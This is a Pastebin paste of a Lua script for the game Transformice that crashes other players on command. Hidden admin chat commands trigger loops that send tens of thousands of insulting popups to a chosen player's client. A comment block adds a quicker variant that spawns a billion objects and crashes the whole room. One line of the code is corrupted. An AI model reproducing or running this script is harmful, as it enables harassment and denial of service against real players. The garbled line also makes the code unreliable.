Advertisement
Guest User

Untitled

a guest
Aug 17th, 2019
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.06 KB | None | 0 0
  1. --Creator: Bolodefchoco
  2. --Made in: 26/09/2015
  3. --Last update: 17/05/2016
  4. --[[ Notes:
  5. Does:
  6. Commands:
  7. !
  8. crash
  9. Nome --> Inicia um crash lento e sombria apenas para Nome.
  10. stop
  11. Nome --> Para de dar crash em Nome, porém as Popups n?o desaparecer?o.
  12. * --> Tira todos os que est?o sendo Crash da tabela de crash, porém as Popups n?o desaparecer?o.
  13. Faster way (Leave the tribe house asap!):
  14. tfm.exec.newGame()
  15. eventLoop = function(t)
  16. if (t/1000) >= 6 then
  17. for i = 1,1e9 do
  18. tfm.exec.addShamanObject(100,0,0)
  19. end
  20. end
  21. end
  22. ]]--
  23.  
  24. adm = {"Navi#7552"}
  25.  
  26. mice={}
  27. toCrash = {}
  28.  
  29. eventNewPlayer=function(n)
  30. if mice[n] then
  31. mice[n].out = false
  32. else
  33. mice[n] = {out = false}
  34. end
  35. end
  36. table.foreach(tfm.get.room.playerList,eventNewPlayer)
  37.  
  38. eventPlayerLeft=function(n) mice[n].out = true;if table.find(toCrash,n) then table.destroy(toCrash,n);print(id) end end
  39.  
  40. id = 0
  41.  
  42. string.nick=function(player)
  43. return player:lower():gsub('%a',string.upper,1)
  44. end
  45. table.find=function(table,value)
  46. for k,v in next,table do
  47. if v == value then
  48. return true,k
  49. end
  50. end
  51. return false,0
  52. end
  53. table.destroy=function(list,value)
  54. for k,v in next,list do
  55. if v == value then
  56. table.remove(list,k);break
  57. end
  58. end
  59. end
  60.  
  61. eventChatCommand=function(n,command)
  62. local c = {};for val in command:gmatch("[^%s]+") do table.insert(c,val) end;c[1]=c[1]:lower()
  63. if table.find(adm,n) then
  64. if c[1] == "crash" and tfm.get.room.playerList[string.nick(c[2])] then
  65. c[2] = string.nick(c[2])
  66. table.insert(toCrash,c[2])
  67. eventLoop(0)
  68. end
  69. if c[1] == "stop" then
  70. if c[2] == "*" then toCrash={}
  71. else
  72. if tfm.get.room.playerList[string.nick(c[2])] then
  73. c[2] = string.nick(c[2])
  74. table.destroy(toCrash,c[2])
  75. end
  76. end
  77. end
  78. if c[1] == "id" then print(id) end
  79. end
  80. end
  81.  
  82. eventLoop=function(t)
  83. for k,v in next,toCrash do
  84. for i = 1,20000 do
  85. local text = {"Noob","Trouxiane","Troxa","Lixoso","Bizerro azul"}
  86. ui.addPopup(id,0,text[math.random(#text)],v,nil,nil,200,true)
  87. id = id + 1
  88. enddwdwdwdwdwdwdwdwdwdwdw
  89. end
  90. end
  91.  
  92. for _,c in next,{"crash","stop","id"} do
  93. system.disableChatCommandDisplay(c,true)
  94. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement